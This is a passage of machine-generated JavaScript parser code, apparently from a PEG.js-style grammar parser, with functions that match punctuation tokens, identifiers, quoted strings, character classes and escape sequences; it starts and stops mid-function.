= [];\n          while (result1 !== null) {\n            result0.push(result1);\n            result1 = parse_nonBraceCharacter();\n          }\n        } else {\n          result0 = null;\n        }\n        if (result0 !== null) {\n          result0 = (function(offset, chars) { return chars.join(\"\"); })(pos0, result0);\n        }\n        if (result0 === null) {\n          pos = pos0;\n        }\n        return result0;\n      }\n\n      function parse_nonBraceCharacter() {\n        var result0;\n\n        if (/^[^{}]/.test(input.charAt(pos))) {\n          result0 = input.charAt(pos);\n          pos++;\n        } else {\n          result0 = null;\n          if (reportFailures === 0) {\n            matchFailed(\"[^{}]\");\n          }\n        }\n        return result0;\n      }\n\n      function parse_equals() {\n        var result0, result1;\n        var pos0, pos1;\n\n        pos0 = pos;\n        pos1 = pos;\n        if (input.charCodeAt(pos) === 61) {\n          result0 = \"=\";\n          pos++;\n        } else {\n          result0 = null;\n          if (reportFailures === 0) {\n            matchFailed(\"\\\"=\\\"\");\n          }\n        }\n        if (result0 !== null) {\n          result1 = parse___();\n          if (result1 !== null) {\n            result0 = [result0, result1];\n          } else {\n            result0 = null;\n            pos = pos1;\n          }\n        } else {\n          result0 = null;\n          pos = pos1;\n        }\n        if (result0 !== null) {\n          result0 = (function(offset) { return \"=\"; })(pos0);\n        }\n        if (result0 === null) {\n          pos = pos0;\n        }\n        return result0;\n      }\n\n      function parse_colon() {\n        var result0, result1;\n        var pos0, pos1;\n\n        pos0 = pos;\n        pos1 = pos;\n        if (input.charCodeAt(pos) === 58) {\n          result0 = \":\";\n          pos++;\n        } else {\n          result0 = null;\n          if (reportFailures === 0) {\n            matchFailed(\"\\\":\\\"\");\n          }\n        }\n        if (result0 !== null) {\n          result1 = parse___();\n          if (result1 !== null) {\n            result0 = [result0, result1];\n          } else {\n            result0 = null;\n            pos = pos1;\n          }\n        } else {\n          result0 = null;\n          pos = pos1;\n        }\n        if (result0 !== null) {\n          result0 = (function(offset) { return \":\"; })(pos0);\n        }\n        if (result0 === null) {\n          pos = pos0;\n        }\n        return result0;\n      }\n\n      function parse_semicolon() {\n        var result0, result1;\n        var pos0, pos1;\n\n        pos0 = pos;\n        pos1 = pos;\n        if (input.charCodeAt(pos) === 59) {\n          result0 = \";\";\n          pos++;\n        } else {\n          result0 = null;\n          if (reportFailures === 0) {\n            matchFailed(\"\\\";\\\"\");\n          }\n        }\n        if (result0 !== null) {\n          result1 = parse___();\n          if (result1 !== null) {\n            result0 = [result0, result1];\n          } else {\n            result0 = null;\n            pos = pos1;\n          }\n        } else {\n          result0 = null;\n          pos = pos1;\n        }\n        if (result0 !== null) {\n          result0 = (function(offset) { return \";\"; })(pos0);\n        }\n        if (result0 === null) {\n          pos = pos0;\n        }\n        return result0;\n      }\n\n      function parse_slash() {\n        var result0, result1;\n        var pos0, pos1;\n\n        pos0 = pos;\n        pos1 = pos;\n        if (input.charCodeAt(pos) === 47) {\n          result0 = \"/\";\n          pos++;\n        } else {\n          result0 = null;\n          if (reportFailures === 0) {\n            matchFailed(\"\\\"/\\\"\");\n          }\n        }\n        if (result0 !== null) {\n          result1 = parse___();\n          if (result1 !== null) {\n            result0 = [result0, result1];\n          } else {\n            result0 = null;\n            pos = pos1;\n          }\n        } else {\n          result0 = null;\n          pos = pos1;\n        }\n        if (result0 !== null) {\n          result0 = (function(offset) { return \"/\"; })(pos0);\n        }\n        if (result0 === null) {\n          pos = pos0;\n        }\n        return result0;\n      }\n\n      function parse_and() {\n        var result0, result1;\n        var pos0, pos1;\n\n        pos0 = pos;\n        pos1 = pos;\n        if (input.charCodeAt(pos) === 38) {\n          result0 = \"&\";\n          pos++;\n        } else {\n          result0 = null;\n          if (reportFailures === 0) {\n            matchFailed(\"\\\"&\\\"\");\n          }\n        }\n        if (result0 !== null) {\n          result1 = parse___();\n          if (result1 !== null) {\n            result0 = [result0, result1];\n          } else {\n            result0 = null;\n            pos = pos1;\n          }\n        } else {\n          result0 = null;\n          pos = pos1;\n        }\n        if (result0 !== null) {\n          result0 = (function(offset) { return \"&\"; })(pos0);\n        }\n        if (result0 === null) {\n          pos = pos0;\n        }\n        return result0;\n      }\n\n      function parse_not() {\n        var result0, result1;\n        var pos0, pos1;\n\n        pos0 = pos;\n        pos1 = pos;\n        if (input.charCodeAt(pos) === 33) {\n          result0 = \"!\";\n          pos++;\n        } else {\n          result0 = null;\n          if (reportFailures === 0) {\n            matchFailed(\"\\\"!\\\"\");\n          }\n        }\n        if (result0 !== null) {\n          result1 = parse___();\n          if (result1 !== null) {\n            result0 = [result0, result1];\n          } else {\n            result0 = null;\n            pos = pos1;\n          }\n        } else {\n          result0 = null;\n          pos = pos1;\n        }\n        if (result0 !== null) {\n          result0 = (function(offset) { return \"!\"; })(pos0);\n        }\n        if (result0 === null) {\n          pos = pos0;\n        }\n        return result0;\n      }\n\n      function parse_question() {\n        var result0, result1;\n        var pos0, pos1;\n\n        pos0 = pos;\n        pos1 = pos;\n        if (input.charCodeAt(pos) === 63) {\n          result0 = \"?\";\n          pos++;\n        } else {\n          result0 = null;\n          if (reportFailures === 0) {\n            matchFailed(\"\\\"?\\\"\");\n          }\n        }\n        if (result0 !== null) {\n          result1 = parse___();\n          if (result1 !== null) {\n            result0 = [result0, result1];\n          } else {\n            result0 = null;\n            pos = pos1;\n          }\n        } else {\n          result0 = null;\n          pos = pos1;\n        }\n        if (result0 !== null) {\n          result0 = (function(offset) { return \"?\"; })(pos0);\n        }\n        if (result0 === null) {\n          pos = pos0;\n        }\n        return result0;\n      }\n\n      function parse_star() {\n        var result0, result1;\n        var pos0, pos1;\n\n        pos0 = pos;\n        pos1 = pos;\n        if (input.charCodeAt(pos) === 42) {\n          result0 = \"*\";\n          pos++;\n        } else {\n          result0 = null;\n          if (reportFailures === 0) {\n            matchFailed(\"\\\"*\\\"\");\n          }\n        }\n        if (result0 !== null) {\n          result1 = parse___();\n          if (result1 !== null) {\n            result0 = [result0, result1];\n          } else {\n            result0 = null;\n            pos = pos1;\n          }\n        } else {\n          result0 = null;\n          pos = pos1;\n        }\n        if (result0 !== null) {\n          result0 = (function(offset) { return \"*\"; })(pos0);\n        }\n        if (result0 === null) {\n          pos = pos0;\n        }\n        return result0;\n      }\n\n      function parse_plus() {\n        var result0, result1;\n        var pos0, pos1;\n\n        pos0 = pos;\n        pos1 = pos;\n        if (input.charCodeAt(pos) === 43) {\n          result0 = \"+\";\n          pos++;\n        } else {\n          result0 = null;\n          if (reportFailures === 0) {\n            matchFailed(\"\\\"+\\\"\");\n          }\n        }\n        if (result0 !== null) {\n          result1 = parse___();\n          if (result1 !== null) {\n            result0 = [result0, result1];\n          } else {\n            result0 = null;\n            pos = pos1;\n          }\n        } else {\n          result0 = null;\n          pos = pos1;\n        }\n        if (result0 !== null) {\n          result0 = (function(offset) { return \"+\"; })(pos0);\n        }\n        if (result0 === null) {\n          pos = pos0;\n        }\n        return result0;\n      }\n\n      function parse_lparen() {\n        var result0, result1;\n        var pos0, pos1;\n\n        pos0 = pos;\n        pos1 = pos;\n        if (input.charCodeAt(pos) === 40) {\n          result0 = \"(\";\n          pos++;\n        } else {\n          result0 = null;\n          if (reportFailures === 0) {\n            matchFailed(\"\\\"(\\\"\");\n          }\n        }\n        if (result0 !== null) {\n          result1 = parse___();\n          if (result1 !== null) {\n            result0 = [result0, result1];\n          } else {\n            result0 = null;\n            pos = pos1;\n          }\n        } else {\n          result0 = null;\n          pos = pos1;\n        }\n        if (result0 !== null) {\n          result0 = (function(offset) { return \"(\"; })(pos0);\n        }\n        if (result0 === null) {\n          pos = pos0;\n        }\n        return result0;\n      }\n\n      function parse_rparen() {\n        var result0, result1;\n        var pos0, pos1;\n\n        pos0 = pos;\n        pos1 = pos;\n        if (input.charCodeAt(pos) === 41) {\n          result0 = \")\";\n          pos++;\n        } else {\n          result0 = null;\n          if (reportFailures === 0) {\n            matchFailed(\"\\\")\\\"\");\n          }\n        }\n        if (result0 !== null) {\n          result1 = parse___();\n          if (result1 !== null) {\n            result0 = [result0, result1];\n          } else {\n            result0 = null;\n            pos = pos1;\n          }\n        } else {\n          result0 = null;\n          pos = pos1;\n        }\n        if (result0 !== null) {\n          result0 = (function(offset) { return \")\"; })(pos0);\n        }\n        if (result0 === null) {\n          pos = pos0;\n        }\n        return result0;\n      }\n\n      function parse_dot() {\n        var result0, result1;\n        var pos0, pos1;\n\n        pos0 = pos;\n        pos1 = pos;\n        if (input.charCodeAt(pos) === 46) {\n          result0 = \".\";\n          pos++;\n        } else {\n          result0 = null;\n          if (reportFailures === 0) {\n            matchFailed(\"\\\".\\\"\");\n          }\n        }\n        if (result0 !== null) {\n          result1 = parse___();\n          if (result1 !== null) {\n            result0 = [result0, result1];\n          } else {\n            result0 = null;\n            pos = pos1;\n          }\n        } else {\n          result0 = null;\n          pos = pos1;\n        }\n        if (result0 !== null) {\n          result0 = (function(offset) { return \".\"; })(pos0);\n        }\n        if (result0 === null) {\n          pos = pos0;\n        }\n        return result0;\n      }\n\n      function parse_identifier() {\n        var result0, result1, result2;\n        var pos0, pos1;\n\n        reportFailures++;\n        pos0 = pos;\n        pos1 = pos;\n        result0 = parse_letter();\n        if (result0 === null) {\n          if (input.charCodeAt(pos) === 95) {\n            result0 = \"_\";\n            pos++;\n          } else {\n            result0 = null;\n            if (reportFailures === 0) {\n              matchFailed(\"\\\"_\\\"\");\n            }\n          }\n          if (result0 === null) {\n            if (input.charCodeAt(pos) === 36) {\n              result0 = \"$\";\n              pos++;\n            } else {\n              result0 = null;\n              if (reportFailures === 0) {\n                matchFailed(\"\\\"$\\\"\");\n              }\n            }\n          }\n        }\n        if (result0 !== null) {\n          result1 = [];\n          result2 = parse_letter();\n          if (result2 === null) {\n            result2 = parse_digit();\n            if (result2 === null) {\n              if (input.charCodeAt(pos) === 95) {\n                result2 = \"_\";\n                pos++;\n              } else {\n                result2 = null;\n                if (reportFailures === 0) {\n                  matchFailed(\"\\\"_\\\"\");\n                }\n              }\n              if (result2 === null) {\n                if (input.charCodeAt(pos) === 36) {\n                  result2 = \"$\";\n                  pos++;\n                } else {\n                  result2 = null;\n                  if (reportFailures === 0) {\n                    matchFailed(\"\\\"$\\\"\");\n                  }\n                }\n              }\n            }\n          }\n          while (result2 !== null) {\n            result1.push(result2);\n            result2 = parse_letter();\n            if (result2 === null) {\n              result2 = parse_digit();\n              if (result2 === null) {\n                if (input.charCodeAt(pos) === 95) {\n                  result2 = \"_\";\n                  pos++;\n                } else {\n                  result2 = null;\n                  if (reportFailures === 0) {\n                    matchFailed(\"\\\"_\\\"\");\n                  }\n                }\n                if (result2 === null) {\n                  if (input.charCodeAt(pos) === 36) {\n                    result2 = \"$\";\n                    pos++;\n                  } else {\n                    result2 = null;\n                    if (reportFailures === 0) {\n                      matchFailed(\"\\\"$\\\"\");\n                    }\n                  }\n                }\n              }\n            }\n          }\n          if (result1 !== null) {\n            result2 = parse___();\n            if (result2 !== null) {\n              result0 = [result0, result1, result2];\n            } else {\n              result0 = null;\n              pos = pos1;\n            }\n          } else {\n            result0 = null;\n            pos = pos1;\n          }\n        } else {\n          result0 = null;\n          pos = pos1;\n        }\n        if (result0 !== null) {\n          result0 = (function(offset, head, tail) {\n              return head + tail.join(\"\");\n            })(pos0, result0[0], result0[1]);\n        }\n        if (result0 === null) {\n          pos = pos0;\n        }\n        reportFailures--;\n        if (reportFailures === 0 && result0 === null) {\n          matchFailed(\"identifier\");\n        }\n        return result0;\n      }\n\n      function parse_literal() {\n        var result0, result1, result2;\n        var pos0, pos1;\n\n        reportFailures++;\n        pos0 = pos;\n        pos1 = pos;\n        result0 = parse_doubleQuotedString();\n        if (result0 === null) {\n          result0 = parse_singleQuotedString();\n        }\n        if (result0 !== null) {\n          if (input.charCodeAt(pos) === 105) {\n            result1 = \"i\";\n            pos++;\n          } else {\n            result1 = null;\n            if (reportFailures === 0) {\n              matchFailed(\"\\\"i\\\"\");\n            }\n          }\n          result1 = result1 !== null ? result1 : \"\";\n          if (result1 !== null) {\n            result2 = parse___();\n            if (result2 !== null) {\n              result0 = [result0, result1, result2];\n            } else {\n              result0 = null;\n              pos = pos1;\n            }\n          } else {\n            result0 = null;\n            pos = pos1;\n          }\n        } else {\n          result0 = null;\n          pos = pos1;\n        }\n        if (result0 !== null) {\n          result0 = (function(offset, value, flags) {\n              return {\n                type:       \"literal\",\n                value:      value,\n                ignoreCase: flags === \"i\"\n              };\n            })(pos0, result0[0], result0[1]);\n        }\n        if (result0 === null) {\n          pos = pos0;\n        }\n        reportFailures--;\n        if (reportFailures === 0 && result0 === null) {\n          matchFailed(\"literal\");\n        }\n        return result0;\n      }\n\n      function parse_string() {\n        var result0, result1;\n        var pos0, pos1;\n\n        reportFailures++;\n        pos0 = pos;\n        pos1 = pos;\n        result0 = parse_doubleQuotedString();\n        if (result0 === null) {\n          result0 = parse_singleQuotedString();\n        }\n        if (result0 !== null) {\n          result1 = parse___();\n          if (result1 !== null) {\n            result0 = [result0, result1];\n          } else {\n            result0 = null;\n            pos = pos1;\n          }\n        } else {\n          result0 = null;\n          pos = pos1;\n        }\n        if (result0 !== null) {\n          result0 = (function(offset, string) { return string; })(pos0, result0[0]);\n        }\n        if (result0 === null) {\n          pos = pos0;\n        }\n        reportFailures--;\n        if (reportFailures === 0 && result0 === null) {\n          matchFailed(\"string\");\n        }\n        return result0;\n      }\n\n      function parse_doubleQuotedString() {\n        var result0, result1, result2;\n        var pos0, pos1;\n\n        pos0 = pos;\n        pos1 = pos;\n        if (input.charCodeAt(pos) === 34) {\n          result0 = \"\\\"\";\n          pos++;\n        } else {\n          result0 = null;\n          if (reportFailures === 0) {\n            matchFailed(\"\\\"\\\\\\\"\\\"\");\n          }\n        }\n        if (result0 !== null) {\n          result1 = [];\n          result2 = parse_doubleQuotedCharacter();\n          while (result2 !== null) {\n            result1.push(result2);\n            result2 = parse_doubleQuotedCharacter();\n          }\n          if (result1 !== null) {\n            if (input.charCodeAt(pos) === 34) {\n              result2 = \"\\\"\";\n              pos++;\n            } else {\n              result2 = null;\n              if (reportFailures === 0) {\n                matchFailed(\"\\\"\\\\\\\"\\\"\");\n              }\n            }\n            if (result2 !== null) {\n              result0 = [result0, result1, result2];\n            } else {\n              result0 = null;\n              pos = pos1;\n            }\n          } else {\n            result0 = null;\n            pos = pos1;\n          }\n        } else {\n          result0 = null;\n          pos = pos1;\n        }\n        if (result0 !== null) {\n          result0 = (function(offset, chars) { return chars.join(\"\"); })(pos0, result0[1]);\n        }\n        if (result0 === null) {\n          pos = pos0;\n        }\n        return result0;\n      }\n\n      function parse_doubleQuotedCharacter() {\n        var result0;\n\n        result0 = parse_simpleDoubleQuotedCharacter();\n        if (result0 === null) {\n          result0 = parse_simpleEscapeSequence();\n          if (result0 === null) {\n            result0 = parse_zeroEscapeSequence();\n            if (result0 === null) {\n              result0 = parse_hexEscapeSequence();\n              if (result0 === null) {\n                result0 = parse_unicodeEscapeSequence();\n                if (result0 === null) {\n                  result0 = parse_eolEscapeSequence();\n                }\n              }\n            }\n          }\n        }\n        return result0;\n      }\n\n      function parse_simpleDoubleQuotedCharacter() {\n        var result0, result1;\n        var pos0, pos1, pos2;\n\n        pos0 = pos;\n        pos1 = pos;\n        pos2 = pos;\n        reportFailures++;\n        if (input.charCodeAt(pos) === 34) {\n          result0 = \"\\\"\";\n          pos++;\n        } else {\n          result0 = null;\n          if (reportFailures === 0) {\n            matchFailed(\"\\\"\\\\\\\"\\\"\");\n          }\n        }\n        if (result0 === null) {\n          if (input.charCodeAt(pos) === 92) {\n            result0 = \"\\\\\";\n            pos++;\n          } else {\n            result0 = null;\n            if (reportFailures === 0) {\n              matchFailed(\"\\\"\\\\\\\\\\\"\");\n            }\n          }\n          if (result0 === null) {\n            result0 = parse_eolChar();\n          }\n        }\n        reportFailures--;\n        if (result0 === null) {\n          result0 = \"\";\n        } else {\n          result0 = null;\n          pos = pos2;\n        }\n        if (result0 !== null) {\n          if (input.length > pos) {\n            result1 = input.charAt(pos);\n            pos++;\n          } else {\n            result1 = null;\n            if (reportFailures === 0) {\n              matchFailed(\"any character\");\n            }\n          }\n          if (result1 !== null) {\n            result0 = [result0, result1];\n          } else {\n            result0 = null;\n            pos = pos1;\n          }\n        } else {\n          result0 = null;\n          pos = pos1;\n        }\n        if (result0 !== null) {\n          result0 = (function(offset, char_) { return char_; })(pos0, result0[1]);\n        }\n        if (result0 === null) {\n          pos = pos0;\n        }\n        return result0;\n      }\n\n      function parse_singleQuotedString() {\n        var result0, result1, result2;\n        var pos0, pos1;\n\n        pos0 = pos;\n        pos1 = pos;\n        if (input.charCodeAt(pos) === 39) {\n          result0 = \"'\";\n          pos++;\n        } else {\n          result0 = null;\n          if (reportFailures === 0) {\n            matchFailed(\"\\\"'\\\"\");\n          }\n        }\n        if (result0 !== null) {\n          result1 = [];\n          result2 = parse_singleQuotedCharacter();\n          while (result2 !== null) {\n            result1.push(result2);\n            result2 = parse_singleQuotedCharacter();\n          }\n          if (result1 !== null) {\n            if (input.charCodeAt(pos) === 39) {\n              result2 = \"'\";\n              pos++;\n            } else {\n              result2 = null;\n              if (reportFailures === 0) {\n                matchFailed(\"\\\"'\\\"\");\n              }\n            }\n            if (result2 !== null) {\n              result0 = [result0, result1, result2];\n            } else {\n              result0 = null;\n              pos = pos1;\n            }\n          } else {\n            result0 = null;\n            pos = pos1;\n          }\n        } else {\n          result0 = null;\n          pos = pos1;\n        }\n        if (result0 !== null) {\n          result0 = (function(offset, chars) { return chars.join(\"\"); })(pos0, result0[1]);\n        }\n        if (result0 === null) {\n          pos = pos0;\n        }\n        return result0;\n      }\n\n      function parse_singleQuotedCharacter() {\n        var result0;\n\n        result0 = parse_simpleSingleQuotedCharacter();\n        if (result0 === null) {\n          result0 = parse_simpleEscapeSequence();\n          if (result0 === null) {\n            result0 = parse_zeroEscapeSequence();\n            if (result0 === null) {\n              result0 = parse_hexEscapeSequence();\n              if (result0 === null) {\n                result0 = parse_unicodeEscapeSequence();\n                if (result0 === null) {\n                  result0 = parse_eolEscapeSequence();\n                }\n              }\n            }\n          }\n        }\n        return result0;\n      }\n\n      function parse_simpleSingleQuotedCharacter() {\n        var result0, result1;\n        var pos0, pos1, pos2;\n\n        pos0 = pos;\n        pos1 = pos;\n        pos2 = pos;\n        reportFailures++;\n        if (input.charCodeAt(pos) === 39) {\n          result0 = \"'\";\n          pos++;\n        } else {\n          result0 = null;\n          if (reportFailures === 0) {\n            matchFailed(\"\\\"'\\\"\");\n          }\n        }\n        if (result0 === null) {\n          if (input.charCodeAt(pos) === 92) {\n            result0 = \"\\\\\";\n            pos++;\n          } else {\n            result0 = null;\n            if (reportFailures === 0) {\n              matchFailed(\"\\\"\\\\\\\\\\\"\");\n            }\n          }\n          if (result0 === null) {\n            result0 = parse_eolChar();\n          }\n        }\n        reportFailures--;\n        if (result0 === null) {\n          result0 = \"\";\n        } else {\n          result0 = null;\n          pos = pos2;\n        }\n        if (result0 !== null) {\n          if (input.length > pos) {\n            result1 = input.charAt(pos);\n            pos++;\n          } else {\n            result1 = null;\n            if (reportFailures === 0) {\n              matchFailed(\"any character\");\n            }\n          }\n          if (result1 !== null) {\n            result0 = [result0, result1];\n          } else {\n            result0 = null;\n            pos = pos1;\n          }\n        } else {\n          result0 = null;\n          pos = pos1;\n        }\n        if (result0 !== null) {\n          result0 = (function(offset, char_) { return char_; })(pos0, result0[1]);\n        }\n        if (result0 === null) {\n          pos = pos0;\n        }\n        return result0;\n      }\n\n      function parse_class() {\n        var result0, result1, result2, result3, result4, result5;\n        var pos0, pos1;\n\n        reportFailures++;\n        pos0 = pos;\n        pos1 = pos;\n        if (input.charCodeAt(pos) === 91) {\n          result0 = \"[\";\n          pos++;\n        } else {\n          result0 = null;\n          if (reportFailures === 0) {\n            matchFailed(\"\\\"[\\\"\");\n          }\n        }\n        if (result0 !== null) {\n          if (input.charCodeAt(pos) === 94) {\n            result1 = \"^\";\n            pos++;\n          } else {\n            result1 = null;\n            if (reportFailures === 0) {\n              matchFailed(\"\\\"^\\\"\");\n            }\n          }\n          result1 = result1 !== null ? result1 : \"\";\n          if (result1 !== null) {\n            result2 = [];\n            result3 = parse_classCharacterRange();\n            if (result3 === null) {\n              result3 = parse_classCharacter();\n            }\n            while (result3 !== null) {\n              result2.push(result3);\n              result3 = parse_classCharacterRange();\n              if (result3 === null) {\n                result3 = parse_classCharacter();\n              }\n            }\n            if (result2 !== null) {\n              if (input.charCodeAt(pos) === 93) {\n                result3 = \"]\";\n                pos++;\n              } else {\n                result3 = null;\n                if (reportFailures === 0) {\n                  matchFailed(\"\\\"]\\\"\");\n                }\n              }\n              if (result3 !== null) {\n                if (input.charCodeAt(pos) === 105) {\n                  result4 = \"i\";\n                  pos++;\n                } else {\n                  result4 = null;\n                  if (reportFailures === 0) {\n                    matchFailed(\"\\\"i\\\"\");\n                  }\n                }\n                result4 = result4 !== null ? result4 : \"\";\n                if (result4 !== null) {\n                  result5 = parse___();\n                  if (result5 !== null) {\n                    result0 = [result0, result1, result2, result3, result4, result5];\n                  } else {\n                    result0 = null;\n                    pos = pos1;\n                  }\n                } else {\n                  result0 = null;\n                  pos = pos1;\n                }\n              } else {\n                result0 = null;\n                pos = pos1;\n              }\n            } else {\n              result0 = null;\n              pos = pos1;\n            }\n          } else {\n            result0 = null;\n            pos = pos1;\n          }\n        } else {\n          result0 = null;\n          pos = pos1;\n        }\n        if (result0 !== null) {\n          result0 = (function(offset, inverted, parts, flags) {\n              var partsConverted = map(parts, function(part) { return part.data; });\n              var rawText = \"[\"\n                + inverted\n                + map(parts, function(part) { return part.rawText; }).join(\"\")\n                + \"]\"\n                + flags;\n\n              return {\n                type:       \"class\",\n                parts:      partsConverted,\n                // FIXME: Get the raw text from the input directly.\n                rawText:    rawText,\n                inverted:   inverted === \"^\",\n                ignoreCase: flags === \"i\"\n              };\n            })(pos0, result0[1], result0[2], result0[4]);\n        }\n        if (result0 === null) {\n          pos = pos0;\n        }\n        reportFailures--;\n        if (reportFailures === 0 && result0 === null) {\n          matchFailed(\"character class\");\n        }\n        return result0;\n      }\n\n      function parse_classCharacterRange() {\n        var result0, result1, result2;\n        var pos0, pos1;\n\n        pos0 = pos;\n        pos1 = pos;\n        result0 = parse_classCharacter();\n        if (result0 !== null) {\n          if (input.charCodeAt(pos) === 45) {\n            result1 = \"-\";\n            pos++;\n          } else {\n            result1 = null;\n            if (reportFailures === 0) {\n              matchFailed(\"\\\"-\\\"\");\n            }\n          }\n          if (result1 !== null) {\n            result2 = parse_classCharacter();\n            if (result2 !== null) {\n              result0 = [result0, result1, result2];\n            } else {\n              result0 = null;\n              pos = pos1;\n            }\n          } else {\n            result0 = null;\n            pos = pos1;\n          }\n        } else {\n          result0 = null;\n          pos = pos1;\n        }\n        if (result0 !== null) {\n          result0 = (function(offset, begin, end) {\n              if (begin.data.charCodeAt(0) > end.data.charCodeAt(0)) {\n                throw new this.SyntaxError(\n                  \"Invalid character range: \" + begin.rawText + \"-\" + end.rawText + \".\"\n                );\n              }\n\n              return {\n                data:    [begin.data, end.data],\n                // FIXME: Get the raw text from the input directly.\n                rawText: begin.rawText + \"-\" + end.rawText\n              };\n            })(pos0, result0[0], result0[2]);\n        }\n        if (result0 === null) {\n          pos = pos0;\n        }\n        return result0;\n      }\n\n      function parse_classCharacter() {\n        var result0;\n        var pos0;\n\n        pos0 = pos;\n        result0 = parse_bracketDelimitedCharacter();\n        if (result0 !== null) {\n          result0 = (function(offset, char_) {\n              return {\n                data:    char_,\n                // FIXME: Get the raw text from the input directly.\n                rawText: quoteForRegexpClass(char_)\n              };\n            })(pos0, result0);\n        }\n        if (result0 === null) {\n          pos = pos0;\n        }\n        return result0;\n      }\n\n      function parse_bracketDelimitedCharacter() {\n        var result0;\n\n        result0 = parse_simpleBracketDelimitedCharacter();\n        if (result0 === null) {\n          result0 = parse_simpleEscapeSequence();\n          if (result0 === null) {\n            result0 = parse_zeroEscapeSequence();\n            if (result0 === null) {\n              result0 = parse_hexEscapeSequence();\n              if (result0 === null) {\n                result0 = parse_unicodeEscapeSequence();\n                if (result0 === null) {\n                  result0 = parse_eolEscapeSequence();\n                }\n              }\n            }\n          }\n        }\n        return result0;\n      }\n\n      function parse_simpleBracketDelimitedCharacter() {\n        var result0, result1;\n        var pos0, pos1, pos2;\n\n        pos0 = pos;\n        pos1 = pos;\n        pos2 = pos;\n        reportFailures++;\n        if (input.charCodeAt(pos) === 93) {\n          result0 = \"]\";\n          pos++;\n        } else {\n          result0 = null;\n          if (reportFailures === 0) {\n            matchFailed(\"\\\"]\\\"\");\n          }\n        }\n        if (result0 === null) {\n          if (input.charCodeAt(pos) === 92) {\n            result0 = \"\\\\\";\n            pos++;\n          } else {\n            result0 = null;\n            if (reportFailures === 0) {\n              matchFailed(\"\\\"\\\\\\\\\\\"\");\n            }\n          }\n          if (result0 === null) {\n            result0 = parse_eolChar();\n          }\n        }\n        reportFailures--;\n        if (result0 === null) {\n          result0 = \"\";\n        } else {\n          result0 = null;\n          pos = pos2;\n        }\n        if (result0 !== null) {\n          if (input.length > pos) {\n            result1 = input.charAt(pos);\n            pos++;\n          } else {\n            result1 = null;\n            if (reportFailures === 0) {\n              matchFailed(\"any character\");\n            }\n          }\n          if (result1 !== null) {\n            result0 = [result0, result1];\n          } else {\n            result0 = null;\n            pos = pos1;\n          }\n        } else {\n          result0 = null;\n          pos = pos1;\n        }\n        if (result0 !== null) {\n          result0 = (function(offset, char_) { return char_; })(pos0, result0[1]);\n        }\n        if (result0 === null) {\n          pos = pos0;\n        }\n        return result0;\n      }\n\n      function parse_simpleEscapeSequence() {\n        var result0, result1, result2;\n        var pos0, pos1, pos2;\n\n        pos0 = pos;\n        pos1 = pos;\n        if (input.charCodeAt(pos) === 92) {\n          result0 = \"\\\\\";\n          pos++;\n        } else {\n          result0 = null;\n          if (reportFailures === 0) {\n            matchFailed(\"\\\"\\\\\\\\\\\"\");\n          }\n        }\n        if (result0 !== null) {\n          pos2 = pos;\n          reportFailures++;\n          result1 = parse_digit();\n          if (result1 === null) {\n            if (input.charCodeAt(pos) === 120) {\n              result1 = \"x\";\n              pos++;\n            } else {\n              result1 = null;\n              if (reportFailures === 0) {\n                matchFailed(\"\\\"x\\\"\");\n              }\n            }\n            if (result1 === null) {\n              if (input.charCodeAt(pos) === 117) {\n                result1 = \"u\";\n                pos++;\n              } else {\n                result1 = null;\n                if (reportFailures === 0) {\n                  matchFailed(\"\\\"u\\\"\");\n                }\n              }\n              if (result1 === null) {\n                result1 = parse_eolChar();\n              }\n            }\n          }\n          reportFailures--;\n          if (result1 === null) {\n            result1 = \"\";\n          } else {\n            result1 = null;\n            pos = pos2;\n          }\n          if (result1 !== null) {\n            if (input.length > pos) {\n              result2 = input.charAt(pos);\n              pos++;\n            } else {\n              result2 = null;\n              if (reportFailures === 0) {\n                matchFailed(\"any character\");\n              }\n            }\n            if (result2 !== null) {\n              result0 = [result0, result1, result2];\n            } else {\n              result0 = null;\n              pos = pos1;\n            }\n          } else {\n            result0 = null;\n            pos = pos1;\n          }\n        } else {\n          result0 = null;\n          pos = pos1;\n        }\n        if (result0 !== null) {\n          result0 = (function(offset, char_) {\n              return char_\n                .replace(\"b\", \"\\b\")\n                .replace(\"f\", \"\\f\")\n                .replace(\"n\", \"\\n\")\n                .replace(\"r\", \"\\r\")\n                .replace(\"t\", \"\\t\")\n                .replace(\"v\", \"\\x0B\"); // IE does not recognize \"\\v\".\n            })(pos0, result0[2]);\n        }\n        if (result0 === null) {\n          pos = pos0;\n        }\n        return result0;\n      }\n\n      function parse_zeroEscapeSequence() {\n        var result0, result1;\n        var pos0, pos1, pos2;\n\n        pos0 = pos;\n        pos1 = pos;\n        if (input.substr(pos, 2) === \"\\\\0\") {\n          result0 = \"\\\\0\";\n          pos += 2;\n        } else {\n          result0 = null;\n          if (reportFailures === 0) {\n            matchFailed(\"\\\"\\\\\\\\0\\\"\");\n          }\n        }\n        if (result0 !== null) {\n          pos2 = pos;\n          reportFailures++;\n          result1 = parse_digit();\n          reportFailures--;\n          if (result1 === null) {\n            result1 = \"\";\n          } else {\n            result1 = null;\n            pos = pos2;\n          }\n          if (result1 !== null) {\n            result0 = [result0, result1];\n          } else {\n            result0 = null;\n            pos = pos1;\n          }\n        } else {\n          result0 = null;\n          pos = pos1;\n        }\n        if (result0 !== null) {\n          result0 = (function(offset) { return \"\\x00\"; })(pos0);\n        }\n        if (result0 === null) {\n          pos = pos0;\n        }\n        return result0;\n      }\n\n      function parse_hexEscapeSequence() {\n        var result0, result1, result2;\n        var pos0, pos1;\n\n        pos0 = pos;\n        pos1 = pos;\n        if (input.substr(pos, 2) === \"\\\\x\") {\n          result0 = \"\\\\x\";\n          pos += 2;\n        } else {\n          result0 = null;\n          if (reportFailures === 0) {\n            matchFailed(\"\\\"\\\\\\\\x\\\"\");\n          }\n        }\n        if (result0 !== null) {\n          result1 = parse_hexDigit();\n          if (result1 !== null) {\n            result2 = parse_hexDigit();\n            if (result2 !== null) {\n              result0 = [result0, result1, result2];\n            } else {\n              result0 = null;\n              pos = pos1;\n            }\n          } else {\n            result0 = null;\n            pos = pos1;\n          }\n        } else {\n          result0 = null;\n          pos = pos1;\n        }\n        if (result0 !== null) {\n          result0 = (function(offset, h1, h2) {\n              return String.fromCharCode(parseInt(h1 + h2, 16));\n            })(pos0, result0[1], result0[2]);\n        }\n        if (result0 === null) {\n          pos = pos0;\n        }\n        return result0;\n      }\n\n      function parse_unicodeEscapeSequence() {\n        var result0, result1, result2, result3, result4;\n        var pos0, pos1;\n\n        pos0 = pos;\n        pos1 = pos;\n        if (input.substr(pos, 2) === \"\\\\u\") {\n          result0 = \"\\\\u\";\n          pos += 2;\n        } else {\n          result0 = null;\n          if (reportFailures === 0) {\n            